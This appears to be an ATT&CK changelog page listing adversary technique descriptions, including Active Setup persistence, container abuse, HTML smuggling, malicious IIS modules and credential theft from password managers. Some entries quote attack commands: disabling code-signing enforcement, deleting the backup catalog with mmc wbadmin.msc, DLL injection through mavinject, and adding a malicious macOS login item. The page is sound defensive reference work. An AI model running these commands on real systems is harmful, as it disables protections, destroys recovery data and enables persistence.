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These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
This JSON file contains the machine readble output used to create this page: changelog.json
Current version: 1.0
Description: Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
Current version: 1.1
Description: Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.
Current version: 1.0
Description: Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
Current version: 1.0
Description: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
Current version: 1.0
Description: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.
Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)
Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)
To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)
Current version: 1.0
Description: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.
Current version: 1.0
Description: Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)
Current version: 1.1
Description: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
Current version: 1.0
Description: Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.
Current version: 1.0
Description: Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.
Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
Current version: 1.0
Description: Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
Current version: 1.0
Description: Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)
Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)
Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.
Current version: 1.0
Description: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018) Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)
Current version: 1.1
Description: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox) Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
Current version: 1.0
Description: Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
Current version: 1.1
Description: Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
Current version: 1.2
Description: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)
Current version: 1.0
Description: Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.
Current version: 1.0
Description: Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)
For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)
Current version: 1.0
Description: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)
Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.
For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
Current version: 1.0
Description: Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)
Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)
Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)
Current version: 1.1
Description: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
Current version: 1.0
Description: Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.
Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
Current version: 1.1
Description: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.
Current version: 1.0
Description: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
Current version: 1.0
Description: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)
For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.
Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)
Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)
Current version: 1.1
Description: Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)
Current version: 1.0
Description: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
Current version: 1.0
Description: Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.
In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)
Current version: 1.0
Description: Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
Current version: 1.0
